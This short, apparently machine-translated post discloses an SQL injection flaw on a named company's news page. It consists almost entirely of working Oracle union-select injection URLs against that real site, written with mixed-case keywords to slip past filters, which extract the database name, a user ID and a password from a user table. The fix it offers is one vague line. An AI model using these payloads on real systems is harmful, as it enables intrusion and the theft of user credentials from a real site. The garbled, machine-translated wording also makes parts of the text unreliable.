Johnson & Johnson injection vulnerability and repair Policy

Aspx? Id = 1557 "> http://www.jjmc.com.cn/news/detail.aspx? Id = 1557

Library:
Http://www.jjmc.com.cn/news/detail.aspx? Id = 1557% 20aNd % 201 = 2% 20 unIon % 20all % 20 selEct % 20cHr (94) % 7C % 7 CcHr (94) % 7C % 7Csys. database_name % 7C % 7 CcHr (115) % 7C % 7 CcHr (97) % 7C % 7 CcHr (102) % 7C % 7 CcHr (101) % 7C % 7 CcHr (51), null + from + dual + --

User name:
Http://www.jjmc.com.cn/news/detail.aspx? Id = 1557 aNd 1 = 2 unIon all selEct cHr (94) | cHr (94) | to_char (data) | cHr (115) | cHr (97) | cHr (102) | cHr (101) | cHr (51), null, null from (selEct rownum as limit, USERID as data from USERBASE) whEre limit = 1 --

Password:
Http://www.jjmc.com.cn/news/detail.aspx? Id = 1557 aNd 1 = 2 unIon all selEct cHr (94) | cHr (94) | to_char (data) | cHr (115) | cHr (97) | cHr (102) | cHr (101) | cHr (51), null, null from (selEct rownum as limit, PASSWORD as data from USERBASE) whEre limit = 1 --

Fixed: filter the detail. aspx page.